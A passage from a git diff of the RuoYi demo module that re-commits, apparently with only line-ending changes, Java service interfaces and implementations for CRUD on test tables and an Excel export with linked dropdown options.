b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/mapper/package-info.java index ff1c4df..d228f43 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/mapper/package-info.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/mapper/package-info.java @@ -1 +1 @@ -package org.dromara.demo.mapper; +package org.dromara.demo.mapper; diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/service/IExportExcelService.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/service/IExportExcelService.java index 4dfa5ef..e9852f4 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/service/IExportExcelService.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/service/IExportExcelService.java @@ -1,18 +1,18 @@ -package org.dromara.demo.service; - -import jakarta.servlet.http.HttpServletResponse; - -/** - * 导出下拉框Excel示例 - * - * @author Emil.Zhang - */ -public interface IExportExcelService { - - /** - * 导出下拉框 - * - * @param response / - */ - void exportWithOptions(HttpServletResponse response); -} +package org.dromara.demo.service; + +import jakarta.servlet.http.HttpServletResponse; + +/** + * 导出下拉框Excel示例 + * + * @author Emil.Zhang + */ +public interface IExportExcelService { + + /** + * 导出下拉框 + * + * @param response / + */ + void exportWithOptions(HttpServletResponse response); +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/service/ITestDemoService.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/service/ITestDemoService.java index bca4192..27d9e86 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/service/ITestDemoService.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/service/ITestDemoService.java @@ -1,71 +1,71 @@ -package org.dromara.demo.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.demo.domain.TestDemo; -import org.dromara.demo.domain.bo.TestDemoBo; -import org.dromara.demo.domain.vo.TestDemoVo; - -import java.util.Collection; -import java.util.List; - -/** - * 测试单表Service接口 - * - * @author Lion Li - * @date 2021-07-26 - */ -public interface ITestDemoService { - - /** - * 查询单个 - * - * @return - */ - TestDemoVo queryById(Long id); - - /** - * 查询列表 - */ - TableDataInfo queryPageList(TestDemoBo bo, PageQuery pageQuery); - - /** - * 自定义分页查询 - */ - TableDataInfo customPageList(TestDemoBo bo, PageQuery pageQuery); - - /** - * 查询列表 - */ - List queryList(TestDemoBo bo); - - /** - * 根据新增业务对象插入测试单表 - * - * @param bo 测试单表新增业务对象 - * @return - */ - Boolean insertByBo(TestDemoBo bo); - - /** - * 根据编辑业务对象修改测试单表 - * - * @param bo 测试单表编辑业务对象 - * @return - */ - Boolean updateByBo(TestDemoBo bo); - - /** - * 校验并删除数据 - * - * @param ids 主键集合 - * @param isValid 是否校验,true-删除前校验,false-不校验 - * @return - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); - - /** - * 批量保存 - */ - Boolean saveBatch(List list); -} +package org.dromara.demo.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.demo.domain.TestDemo; +import org.dromara.demo.domain.bo.TestDemoBo; +import org.dromara.demo.domain.vo.TestDemoVo; + +import java.util.Collection; +import java.util.List; + +/** + * 测试单表Service接口 + * + * @author Lion Li + * @date 2021-07-26 + */ +public interface ITestDemoService { + + /** + * 查询单个 + * + * @return + */ + TestDemoVo queryById(Long id); + + /** + * 查询列表 + */ + TableDataInfo queryPageList(TestDemoBo bo, PageQuery pageQuery); + + /** + * 自定义分页查询 + */ + TableDataInfo customPageList(TestDemoBo bo, PageQuery pageQuery); + + /** + * 查询列表 + */ + List queryList(TestDemoBo bo); + + /** + * 根据新增业务对象插入测试单表 + * + * @param bo 测试单表新增业务对象 + * @return + */ + Boolean insertByBo(TestDemoBo bo); + + /** + * 根据编辑业务对象修改测试单表 + * + * @param bo 测试单表编辑业务对象 + * @return + */ + Boolean updateByBo(TestDemoBo bo); + + /** + * 校验并删除数据 + * + * @param ids 主键集合 + * @param isValid 是否校验,true-删除前校验,false-不校验 + * @return + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); + + /** + * 批量保存 + */ + Boolean saveBatch(List list); +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/service/ITestTreeService.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/service/ITestTreeService.java index 9155201..330bc80 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/service/ITestTreeService.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/service/ITestTreeService.java @@ -1,52 +1,52 @@ -package org.dromara.demo.service; - -import org.dromara.demo.domain.bo.TestTreeBo; -import org.dromara.demo.domain.vo.TestTreeVo; - -import java.util.Collection; -import java.util.List; - -/** - * 测试树表Service接口 - * - * @author Lion Li - * @date 2021-07-26 - */ -public interface ITestTreeService { - /** - * 查询单个 - * - * @return - */ - TestTreeVo queryById(Long id); - - /** - * 查询列表 - */ - List queryList(TestTreeBo bo); - - /** - * 根据新增业务对象插入测试树表 - * - * @param bo 测试树表新增业务对象 - * @return - */ - Boolean insertByBo(TestTreeBo bo); - - /** - * 根据编辑业务对象修改测试树表 - * - * @param bo 测试树表编辑业务对象 - * @return - */ - Boolean updateByBo(TestTreeBo bo); - - /** - * 校验并删除数据 - * - * @param ids 主键集合 - * @param isValid 是否校验,true-删除前校验,false-不校验 - * @return - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); -} +package org.dromara.demo.service; + +import org.dromara.demo.domain.bo.TestTreeBo; +import org.dromara.demo.domain.vo.TestTreeVo; + +import java.util.Collection; +import java.util.List; + +/** + * 测试树表Service接口 + * + * @author Lion Li + * @date 2021-07-26 + */ +public interface ITestTreeService { + /** + * 查询单个 + * + * @return + */ + TestTreeVo queryById(Long id); + + /** + * 查询列表 + */ + List queryList(TestTreeBo bo); + + /** + * 根据新增业务对象插入测试树表 + * + * @param bo 测试树表新增业务对象 + * @return + */ + Boolean insertByBo(TestTreeBo bo); + + /** + * 根据编辑业务对象修改测试树表 + * + * @param bo 测试树表编辑业务对象 + * @return + */ + Boolean updateByBo(TestTreeBo bo); + + /** + * 校验并删除数据 + * + * @param ids 主键集合 + * @param isValid 是否校验,true-删除前校验,false-不校验 + * @return + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/service/impl/ExportExcelServiceImpl.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/service/impl/ExportExcelServiceImpl.java index 69cf0a8..c4c2c94 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/service/impl/ExportExcelServiceImpl.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/service/impl/ExportExcelServiceImpl.java @@ -1,236 +1,236 @@ -package org.dromara.demo.service.impl; - -import cn.hutool.core.util.RandomUtil; -import cn.hutool.core.util.StrUtil; -import jakarta.servlet.http.HttpServletResponse; -import lombok.Data; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.constant.SystemConstants; -import org.dromara.common.core.utils.StreamUtils; -import org.dromara.common.excel.core.DropDownOptions; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.demo.domain.vo.ExportDemoVo; -import org.dromara.demo.service.IExportExcelService; -import org.springframework.stereotype.Service; - -import java.util.ArrayList; -import java.util.List; -import java.util.Map; -import java.util.stream.Collectors; - -/** - * 导出下拉框Excel示例 - * - * @author Emil.Zhang - */ -@Service -@RequiredArgsConstructor -public class ExportExcelServiceImpl implements IExportExcelService { - - @Override - public void exportWithOptions(HttpServletResponse response) { - // 创建表格数据,业务中一般通过数据库查询 - List excelDataList = new ArrayList<>(); - for (int i = 0; i < 3; i++) { - // 模拟数据库中的一条数据 - ExportDemoVo everyRowData = new ExportDemoVo(); - everyRowData.setNickName("用户-" + i); - everyRowData.setUserStatus(SystemConstants.NORMAL); - everyRowData.setGender("1"); - everyRowData.setPhoneNumber(String.format("175%08d", i)); - everyRowData.setEmail(String.format("175%08d", i) + "@163.com"); - everyRowData.setProvinceId(i); - everyRowData.setCityId(i); - everyRowData.setAreaId(i); - excelDataList.add(everyRowData); - } - - // 通过@ExcelIgnoreUnannotated配合@ExcelProperty合理显示需要的列 - // 并通过@DropDown注解指定下拉值,或者通过创建ExcelOptions来指定下拉框 - // 使用ExcelOptions时建议指定列index,防止出现下拉列解析不对齐 - - // 首先从数据库中查询下拉框内的可选项 - // 这里模拟查询结果 - List provinceList = getProvinceList(), - cityList = getCityList(provinceList), - areaList = getAreaList(cityList); - int provinceIndex = 5, cityIndex = 6, areaIndex = 7; - - DropDownOptions provinceToCity = DropDownOptions.buildLinkedOptions( - provinceList, - provinceIndex, - cityList, - cityIndex, - DemoCityData::getId, - DemoCityData::getPid, - everyOptions -> DropDownOptions.createOptionValue( - everyOptions.getName(), - everyOptions.getId() - ) - ); - - DropDownOptions cityToArea = DropDownOptions.buildLinkedOptions( - cityList, - cityIndex, - areaList, - areaIndex, - DemoCityData::getId, - DemoCityData::getPid, - everyOptions -> DropDownOptions.createOptionValue( - everyOptions.getName(), - everyOptions.getId() - ) - ); - - // 把所有的下拉框存储 - List options = new ArrayList<>(); - options.add(provinceToCity); - options.add(cityToArea); - - // 到此为止所有的下拉框可选项已全部配置完毕 - - // 接下来需要将Excel中的展示数据转换为对应的下拉选 - List outList = StreamUtils.toList(excelDataList, everyRowData -> { - // 只需要处理没有使用@ExcelDictFormat注解的下拉框 - // 一般来说,可以直接在数据库查询即查询出省市县信息,这里通过模拟操作赋值 - everyRowData.setProvince(buildOptions(provinceList, everyRowData.getProvinceId())); - everyRowData.setCity(buildOptions(cityList, everyRowData.getCityId())); - everyRowData.setArea(buildOptions(areaList, everyRowData.getAreaId())); - return everyRowData; - }); - - ExcelUtil.exportExcel(outList, "下拉框示例", ExportDemoVo.class, response, options); - } - - private String buildOptions(List cityDataList, Integer id) { - Map> groupByIdMap = - cityDataList.stream().collect(Collectors.groupingBy(DemoCityData::getId)); - if (groupByIdMap.containsKey(id)) { - DemoCityData demoCityData = groupByIdMap.get(id).get(0); - return DropDownOptions.createOptionValue(demoCityData.getName(), demoCityData.getId()); - } else { - return StrUtil.EMPTY; - } - } - - /** - * 模拟查询数据库操作 - * - * @return / - */ - private List getProvinceList() { - List provinceList = new ArrayList<>(); - - // 实际业务中一般采用数据库读取的形式,这里直接拼接创建 - provinceList.add(new DemoCityData(0, null, "P100000")); - provinceList.add(new DemoCityData(1, null, "P200000")); - provinceList.add(new DemoCityData(2, null, "P300000")); - - return provinceList; - } - - /** - * 模拟查找数据库操作,需要连带查询出省的数据 - * - * @param provinceList 模拟的父省数据 - * @return / - */ - private List getCityList(List provinceList) { - List cityList = new ArrayList<>(); - - // 实际业务中一般采用数据库读取的形式,这里直接拼接创建 - cityList.add(new DemoCityData(0, 0, "C110000")); - cityList.add(new DemoCityData(1, 0, "C120000")); - cityList.add(new DemoCityData(2, 1, "C210000")); - cityList.add(new DemoCityData(3, 1, "C220000")); - cityList.add(new DemoCityData(4, 1, "C230000")); - - selectParentData(provinceList, cityList); - - return cityList; - } - - /** - * 模拟查找数据库操作,需要连带查询出市的数据 - * - * @param cityList 模拟的父市数据 - * @return / - */ - private List getAreaList(List cityList) { - List areaList = new ArrayList<>(); - - int minCount = 500; - int maxCount = 10000; - - // 实际业务中一般采用数据库读取的形式,这里直接拼接创建 - for (int i = 0; i < RandomUtil.randomInt(minCount, maxCount); i++) { - areaList.add(new DemoCityData(areaList.size(), 0, String.format("A11%04d", i))); - } - - for (int i = 0; i < RandomUtil.randomInt(minCount, maxCount); i++) { - areaList.add(new DemoCityData(areaList.size(), 1, String.format("A12%04d", i))); - } - - for (int i = 0; i < RandomUtil.randomInt(minCount, maxCount); i++) { - areaList.add(new DemoCityData(areaList.size(), 2, String.format("A21%04d", i))); - } - - for (int i = 0; i < RandomUtil.randomInt(minCount, maxCount); i++) { - areaList.add(new DemoCityData(areaList.size(), 3, String.format("A22%04d", i))); - } - - for (int i = 0; i < RandomUtil.randomInt(minCount, maxCount); i++) { - areaList.add(new DemoCityData(areaList.size(), 4, String.format("A23%04d", i))); - } - - selectParentData(cityList, areaList); - - return areaList; - } - - /** - * 模拟数据库的查询父数据操作 - * - * @param parentList / - * @param sonList / - */ - private void selectParentData(List parentList, List sonList) { - Map> parentGroupByIdMap = - parentList.stream().collect(Collectors.groupingBy(DemoCityData::getId)); - - sonList.forEach(everySon -> { - if (parentGroupByIdMap.containsKey(everySon.getPid())) { - everySon.setPData(parentGroupByIdMap.get(everySon.getPid()).get(0)); - } - }); - } - - /** - * 模拟的数据库省市县 - */ - @Data - private static class DemoCityData { - /** - * 数据库id字段 - */ - private Integer id; - /** - * 数据库pid字段 - */ - private Integer pid; - /** - * 数据库name字段 - */ - private String name; - /** - * MyBatisPlus连带查询父数据 - */ - private DemoCityData pData; - - public DemoCityData(Integer id, Integer pid, String name) { - this.id = id; - this.pid = pid; - this.name = name; - } - } -} +package org.dromara.demo.service.impl; + +import cn.hutool.core.util.RandomUtil; +import cn.hutool.core.util.StrUtil; +import jakarta.servlet.http.HttpServletResponse; +import lombok.Data; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.constant.SystemConstants; +import org.dromara.common.core.utils.StreamUtils; +import org.dromara.common.excel.core.DropDownOptions; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.demo.domain.vo.ExportDemoVo; +import org.dromara.demo.service.IExportExcelService; +import org.springframework.stereotype.Service; + +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.stream.Collectors; + +/** + * 导出下拉框Excel示例 + * + * @author Emil.Zhang + */ +@Service +@RequiredArgsConstructor +public class ExportExcelServiceImpl implements IExportExcelService { + + @Override + public void exportWithOptions(HttpServletResponse response) { + // 创建表格数据,业务中一般通过数据库查询 + List excelDataList = new ArrayList<>(); + for (int i = 0; i < 3; i++) { + // 模拟数据库中的一条数据 + ExportDemoVo everyRowData = new ExportDemoVo(); + everyRowData.setNickName("用户-" + i); + everyRowData.setUserStatus(SystemConstants.NORMAL); + everyRowData.setGender("1"); + everyRowData.setPhoneNumber(String.format("175%08d", i)); + everyRowData.setEmail(String.format("175%08d", i) + "@163.com"); + everyRowData.setProvinceId(i); + everyRowData.setCityId(i); + everyRowData.setAreaId(i); + excelDataList.add(everyRowData); + } + + // 通过@ExcelIgnoreUnannotated配合@ExcelProperty合理显示需要的列 + // 并通过@DropDown注解指定下拉值,或者通过创建ExcelOptions来指定下拉框 + // 使用ExcelOptions时建议指定列index,防止出现下拉列解析不对齐 + + // 首先从数据库中查询下拉框内的可选项 + // 这里模拟查询结果 + List provinceList = getProvinceList(), + cityList = getCityList(provinceList), + areaList = getAreaList(cityList); + int provinceIndex = 5, cityIndex = 6, areaIndex = 7; + + DropDownOptions provinceToCity = DropDownOptions.buildLinkedOptions( + provinceList, + provinceIndex, + cityList, + cityIndex, + DemoCityData::getId, + DemoCityData::getPid, + everyOptions -> DropDownOptions.createOptionValue( + everyOptions.getName(), + everyOptions.getId() + ) + ); + + DropDownOptions cityToArea = DropDownOptions.buildLinkedOptions( + cityList, + cityIndex, + areaList, + areaIndex, + DemoCityData::getId, + DemoCityData::getPid, + everyOptions -> DropDownOptions.createOptionValue( + everyOptions.getName(), + everyOptions.getId() + ) + ); + + // 把所有的下拉框存储 + List options = new ArrayList<>(); + options.add(provinceToCity); + options.add(cityToArea); + + // 到此为止所有的下拉框可选项已全部配置完毕 + + // 接下来需要将Excel中的展示数据转换为对应的下拉选 + List outList = StreamUtils.toList(excelDataList, everyRowData -> { + // 只需要处理没有使用@ExcelDictFormat注解的下拉框 + // 一般来说,可以直接在数据库查询即查询出省市县信息,这里通过模拟操作赋值 + everyRowData.setProvince(buildOptions(provinceList, everyRowData.getProvinceId())); + everyRowData.setCity(buildOptions(cityList, everyRowData.getCityId())); + everyRowData.setArea(buildOptions(areaList, everyRowData.getAreaId())); + return everyRowData; + }); + + ExcelUtil.exportExcel(outList, "下拉框示例", ExportDemoVo.class, response, options); + } + + private String buildOptions(List cityDataList, Integer id) { + Map> groupByIdMap = + cityDataList.stream().collect(Collectors.groupingBy(DemoCityData::getId)); + if (groupByIdMap.containsKey(id)) { + DemoCityData demoCityData = groupByIdMap.get(id).get(0); + return DropDownOptions.createOptionValue(demoCityData.getName(), demoCityData.getId()); + } else { + return StrUtil.EMPTY; + } + } + + /** + * 模拟查询数据库操作 + * + * @return / + */ + private List getProvinceList() { + List provinceList = new ArrayList<>(); + + // 实际业务中一般采用数据库读取的形式,这里直接拼接创建 + provinceList.add(new DemoCityData(0, null, "P100000")); + provinceList.add(new DemoCityData(1, null, "P200000")); + provinceList.add(new DemoCityData(2, null, "P300000")); + + return provinceList; + } + + /** + * 模拟查找数据库操作,需要连带查询出省的数据 + * + * @param provinceList 模拟的父省数据 + * @return / + */ + private List getCityList(List provinceList) { + List cityList = new ArrayList<>(); + + // 实际业务中一般采用数据库读取的形式,这里直接拼接创建 + cityList.add(new DemoCityData(0, 0, "C110000")); + cityList.add(new DemoCityData(1, 0, "C120000")); + cityList.add(new DemoCityData(2, 1, "C210000")); + cityList.add(new DemoCityData(3, 1, "C220000")); + cityList.add(new DemoCityData(4, 1, "C230000")); + + selectParentData(provinceList, cityList); + + return cityList; + } + + /** + * 模拟查找数据库操作,需要连带查询出市的数据 + * + * @param cityList 模拟的父市数据 + * @return / + */ + private List getAreaList(List cityList) { + List areaList = new ArrayList<>(); + + int minCount = 500; + int maxCount = 10000; + + // 实际业务中一般采用数据库读取的形式,这里直接拼接创建 + for (int i = 0; i < RandomUtil.randomInt(minCount, maxCount); i++) { + areaList.add(new DemoCityData(areaList.size(), 0, String.format("A11%04d", i))); + } + + for (int i = 0; i < RandomUtil.randomInt(minCount, maxCount); i++) { + areaList.add(new DemoCityData(areaList.size(), 1, String.format("A12%04d", i))); + } + + for (int i = 0; i < RandomUtil.randomInt(minCount, maxCount); i++) { + areaList.add(new DemoCityData(areaList.size(), 2, String.format("A21%04d", i))); + } + + for (int i = 0; i < RandomUtil.randomInt(minCount, maxCount); i++) { + areaList.add(new DemoCityData(areaList.size(), 3, String.format("A22%04d", i))); + } + + for (int i = 0; i < RandomUtil.randomInt(minCount, maxCount); i++) { + areaList.add(new DemoCityData(areaList.size(), 4, String.format("A23%04d", i))); + } + + selectParentData(cityList, areaList); + + return areaList; + } + + /** + * 模拟数据库的查询父数据操作 + * + * @param parentList / + * @param sonList / + */ + private void selectParentData(List parentList, List sonList) { + Map> parentGroupByIdMap = + parentList.stream().collect(Collectors.groupingBy(DemoCityData::getId)); + + sonList.forEach(everySon -> { + if (parentGroupByIdMap.containsKey(everySon.getPid())) { + everySon.setPData(parentGroupByIdMap.get(everySon.getPid()).get(0)); + } + }); + } + + /** + * 模拟的数据库省市县 + */ + @Data + private static class DemoCityData { + /** + * 数据库id字段 + */ + private Integer id; + /** + * 数据库pid字段 + */ + private Integer pid; + /** + * 数据库name字段 + */ + private String name; + /** + * MyBatisPlus连带查询父数据 + */ + private DemoCityData pData; + + public DemoCityData(Integer id, Integer pid, String name) { + this.id = id; + this.pid = pid; + this.name = name; + } + } +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/service/impl/TestDemoServiceImpl.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/service/impl/TestDemoServiceImpl.java index ced141e..996de9a 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/service/impl/TestDemoServiceImpl.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/service/impl/TestDemoServiceImpl.java @@ -1,116 +1,116 @@ -package org.dromara.demo.service.impl; - -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.demo.domain.TestDemo; -import org.dromara.demo.domain.bo.TestDemoBo; -import org.dromara.demo.domain.vo.TestDemoVo; -import org.dromara.demo.mapper.TestDemoMapper; -import org.dromara.demo.service.ITestDemoService; -import org.springframework.stereotype.Service; - -import java.util.Collection; -import java.util.List; -import java.util.Map; - -/** - * 测试单表Service业务层处理 - * - * @author Lion Li - * @date 2021-07-26 - */ -@RequiredArgsConstructor -@Service -public class TestDemoServiceImpl implements ITestDemoService { - - private final TestDemoMapper baseMapper; - - @Override - public TestDemoVo queryById(Long id) { - return baseMapper.selectVoById(id); - } - - @Override - public TableDataInfo queryPageList(TestDemoBo bo, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); - return TableDataInfo.build(result); - } - - /** - * 自定义分页查询 - */ - @Override - public TableDataInfo customPageList(TestDemoBo bo, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - Page result = baseMapper.customPageList(pageQuery.build(), lqw); - return TableDataInfo.build(result); - } - - @Override - public List queryList(TestDemoBo bo) { - return baseMapper.selectVoList(buildQueryWrapper(bo)); - } - - private LambdaQueryWrapper buildQueryWrapper(TestDemoBo bo) { - Map params = bo.getParams(); - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.like(StringUtils.isNotBlank(bo.getTestKey()), TestDemo::getTestKey, bo.getTestKey()); - lqw.eq(StringUtils.isNotBlank(bo.getValue()), TestDemo::getValue, bo.getValue()); - lqw.between(params.get("beginCreateTime") != null && params.get("endCreateTime") != null, - TestDemo::getCreateTime, params.get("beginCreateTime"), params.get("endCreateTime")); - lqw.orderByAsc(TestDemo::getId); - return lqw; - } - - @Override - public Boolean insertByBo(TestDemoBo bo) { - TestDemo add = MapstructUtils.convert(bo, TestDemo.class); - validEntityBeforeSave(add); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - bo.setId(add.getId()); - } - return flag; - } - - @Override - public Boolean updateByBo(TestDemoBo bo) { - TestDemo update = MapstructUtils.convert(bo, TestDemo.class); - validEntityBeforeSave(update); - return baseMapper.updateById(update) > 0; - } - - /** - * 保存前的数据校验 - * - * @param entity 实体类数据 - */ - private void validEntityBeforeSave(TestDemo entity) { - //TODO 做一些数据校验,如唯一约束 - } - - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - if (isValid) { - // 做一些业务上的校验,判断是否需要校验 - List list = baseMapper.selectByIds(ids); - if (list.size() != ids.size()) { - throw new ServiceException("您没有删除权限!"); - } - } - return baseMapper.deleteByIds(ids) > 0; - } - - @Override - public Boolean saveBatch(List list) { - return baseMapper.insertBatch(list); - } -} +package org.dromara.demo.service.impl; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.demo.domain.TestDemo; +import org.dromara.demo.domain.bo.TestDemoBo; +import org.dromara.demo.domain.vo.TestDemoVo; +import org.dromara.demo.mapper.TestDemoMapper; +import org.dromara.demo.service.ITestDemoService; +import org.springframework.stereotype.Service; + +import java.util.Collection; +import java.util.List; +import java.util.Map; + +/** + * 测试单表Service业务层处理 + * + * @author Lion Li + * @date 2021-07-26 + */ +@RequiredArgsConstructor +@Service +public class TestDemoServiceImpl implements ITestDemoService { + + private final TestDemoMapper baseMapper; + + @Override + public TestDemoVo queryById(Long id) { + return baseMapper.selectVoById(id); + } + + @Override + public TableDataInfo queryPageList(TestDemoBo bo, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); + return TableDataInfo.build(result); + } + + /** + * 自定义分页查询 + */ + @Override + public TableDataInfo customPageList(TestDemoBo bo, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + Page result = baseMapper.customPageList(pageQuery.build(), lqw); + return TableDataInfo.build(result); + } + + @Override + public List queryList(TestDemoBo bo) { + return baseMapper.selectVoList(buildQueryWrapper(bo)); + } + + private LambdaQueryWrapper buildQueryWrapper(TestDemoBo bo) { + Map params = bo.getParams(); + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.like(StringUtils.isNotBlank(bo.getTestKey()), TestDemo::getTestKey, bo.getTestKey()); + lqw.eq(StringUtils.isNotBlank(bo.getValue()), TestDemo::getValue, bo.getValue()); + lqw.between(params.get("beginCreateTime") != null && params.get("endCreateTime") != null, + TestDemo::getCreateTime, params.get("beginCreateTime"), params.get("endCreateTime")); + lqw.orderByAsc(TestDemo::getId); + return lqw; + } + + @Override + public Boolean insertByBo(TestDemoBo bo) { + TestDemo add = MapstructUtils.convert(bo, TestDemo.class); + validEntityBeforeSave(add); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setId(add.getId()); + } + return flag; + } + + @Override + public Boolean updateByBo(TestDemoBo bo) { + TestDemo update = MapstructUtils.convert(bo, TestDemo.class); + validEntityBeforeSave(update); + return baseMapper.updateById(update) > 0; + } + + /** + * 保存前的数据校验 + * + * @param entity 实体类数据 + */ + private void validEntityBeforeSave(TestDemo entity) { + //TODO 做一些数据校验,如唯一约束 + } + + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + if (isValid) { + // 做一些业务上的校验,判断是否需要校验 + List list = baseMapper.selectByIds(ids); + if (list.size() != ids.size()) { + throw new ServiceException("您没有删除权限!"); + } + } + return baseMapper.deleteByIds(ids) > 0; + } + + @Override + public Boolean saveBatch(List list) { + return baseMapper.insertBatch(list); + } +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/service/impl/TestTreeServiceImpl.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/service/impl/TestTreeServiceImpl.java index b3ef5d6..5f5c6cc 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/service/impl/TestTreeServiceImpl.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/service/impl/TestTreeServiceImpl.java @@ -1,88 +1,88 @@ -package org.dromara.demo.service.impl; - -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.demo.domain.TestTree; -import org.dromara.demo.domain.bo.TestTreeBo; -import org.dromara.demo.domain.vo.TestTreeVo; -import org.dromara.demo.mapper.TestTreeMapper; -import org.dromara.demo.service.ITestTreeService; -import org.springframework.stereotype.Service; - -import java.util.Collection; -import java.util.List; -import java.util.Map; - -/** - * 测试树表Service业务层处理 - * - * @author Lion Li - * @date 2021-07-26 - */ -// @DS("slave") // 切换从库查询 -@RequiredArgsConstructor -@Service -public class TestTreeServiceImpl implements ITestTreeService { - - private final TestTreeMapper baseMapper; - - @Override - public TestTreeVo queryById(Long id) { - return baseMapper.selectVoById(id); - } - - // @DS("slave") // 切换从库查询 - @Override - public List queryList(TestTreeBo bo) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - return baseMapper.selectVoList(lqw); - } - - private LambdaQueryWrapper buildQueryWrapper(TestTreeBo bo) { - Map params = bo.getParams(); - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.like(StringUtils.isNotBlank(bo.getTreeName()), TestTree::getTreeName, bo.getTreeName()); - lqw.between(params.get("beginCreateTime") != null && params.get("endCreateTime") != null, - TestTree::getCreateTime, params.get("beginCreateTime"), params.get("endCreateTime")); - lqw.orderByAsc(TestTree::getId); - return lqw; - } - - @Override - public Boolean insertByBo(TestTreeBo bo) { - TestTree add = MapstructUtils.convert(bo, TestTree.class); - validEntityBeforeSave(add); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - bo.setId(add.getId()); - } - return flag; - } - - @Override - public Boolean updateByBo(TestTreeBo bo) { - TestTree update = MapstructUtils.convert(bo, TestTree.class); - validEntityBeforeSave(update); - return baseMapper.updateById(update) > 0; - } - - /** - * 保存前的数据校验 - * - * @param entity 实体类数据 - */ - private void validEntityBeforeSave(TestTree entity) { - //TODO 做一些数据校验,如唯一约束 - } - - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - if (isValid) { - //TODO 做一些业务上的校验,判断是否需要校验 - } - return baseMapper.deleteByIds(ids) > 0; - } -} +package org.dromara.demo.service.impl; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.demo.domain.TestTree; +import org.dromara.demo.domain.bo.TestTreeBo; +import org.dromara.demo.domain.vo.TestTreeVo; +import org.dromara.demo.mapper.TestTreeMapper; +import org.dromara.demo.service.ITestTreeService; +import 